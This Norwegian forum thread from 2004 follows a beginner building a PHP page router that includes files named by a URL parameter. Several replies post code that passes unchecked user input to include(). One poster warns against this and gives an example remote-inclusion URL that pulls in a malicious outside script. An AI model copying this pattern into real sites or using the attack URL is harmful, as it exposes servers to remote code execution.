Zyrex_ Skrevet 8. februar 2004 Del Skrevet 8. februar 2004 To spørsmål Først hvis jeg skal linke til en fil i en annnen mappe hvordan skal jeg gjøre det. skal gjøre det samme som kodene under, skulle kombinert denne med en som også tar mapper. og under mapper. og samtidig må det kunne gjøre det samme som det gjør nå. <?PHP $page = $_GET['page']; if(! $page) { $page = "main"; } ?> <?php include("$page.php") Så skulle jeg hatt en funksjon som åpner 'ugyldig side melding' når '$page' er en fil som ikke eksisterer. Lenke til kommentar
Loomy Skrevet 8. februar 2004 Del Skrevet 8. februar 2004 (endret) Først hvis jeg skal linke til en fil i en annnen mappe hvordan skal jeg gjøre det. Hmmm, mener du hvordan å inkludere en side som ligger i en annen mappe? I så fall: include ("./mappe/enda/en/mappe/side.php") Du trenger strengt tatt ikke ha ./ foran, men jeg mener å ha lest at det er en fordel - av en eller annen grunn. Endret 8. februar 2004 av Loomy Lenke til kommentar
Zyrex_ Skrevet 8. februar 2004 Forfatter Del Skrevet 8. februar 2004 (endret) linken skal være en varialbel nå skriver jeg www.domene.com/index.php?page="side" for å komme in på www.domene.com/side.php trenger en måte til å gjøre dette med mapper også. hvis noen skjønner Endret 8. februar 2004 av Zyrex_ Lenke til kommentar
enden Skrevet 8. februar 2004 Del Skrevet 8. februar 2004 (endret) Det siste først. file_exists() returnerer true dersom filen eksisterer. Dette kan brukes for å sjekke om filen ikke ksisterer. Legg merke til at jeg søker eksplisitt etter .php Dette kan seff endres, og flere typer kan legges til. Men det er litt mye natt til det nå... <?PHP $page = $_GET['side']; if(! $page) { $page = "main"; } if(! file_exists($page.'.php') { $page = '404'; } ?> Det føste: www.dittdomene.no/index.php?side=mappe/fil er en mulightet. Her angir du hvilken mappe fra URLen Hvis alle filer ligger i en mappe - pages f.eks kan du mekke katalogen fra php koden: <?PHP $page = "./pages/"; $page .= $_GET['page']; if(! $_GET['page']) { $page = "pages/main"; } ?> Endret 8. februar 2004 av enden Lenke til kommentar
Loomy Skrevet 8. februar 2004 Del Skrevet 8. februar 2004 (endret) www.domene.com/index.php?"side" Du mener vel index.php?side=side.php ?!? Menneh, det burde fungere å bare skrive ?side=mappe/emda/en/mappe/side.php Endret 8. februar 2004 av Loomy Lenke til kommentar
Zyrex_ Skrevet 8. februar 2004 Forfatter Del Skrevet 8. februar 2004 ?side=mappe/emda/en/mappe/side.php Funker vist det. Men får det ikke til å fungere mot et forum som ligger i en undermappe. Er phpBB2 forum. Jaja, kan da åone forumet i en ny stide og da men Takk for hjelpen(spesielt til enden) Lenke til kommentar
Sugx Skrevet 8. februar 2004 Del Skrevet 8. februar 2004 Detta er veeeldig dårlig kode... Det var pga kode av denne typen at hw.no bukka under for litt siden Du må sjekke inputen, $_GET['side'] den skal helst ikke inneholde andre tegn enn a-z 0-9, for når du kjører include på denne måten risikerer du å drite deg loddrett ut hvis noen drar det gamle urltrikset. index.php?side=http://minside.com/ondtphpscript.txt hvis du da bruker koden din, som inkluderer $_GET['side'] helt ukritisk kan morsomme ting skje... Du kan like gjerne venne deg til å sjekke om variabler er gyldige eller ikke med engang, du kommer alltid til å få bruk for det. Lenke til kommentar
enden Skrevet 8. februar 2004 Del Skrevet 8. februar 2004 Klar over det. Jeg startet hele greia i webdesign tidliger og forklarte at dette bare var grunnprinsippet. Bedre å lære å krabbe før man lærer å gå. Så fort han mestrer include på en skikkelig måte skal vi lære bort trusted arguments Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå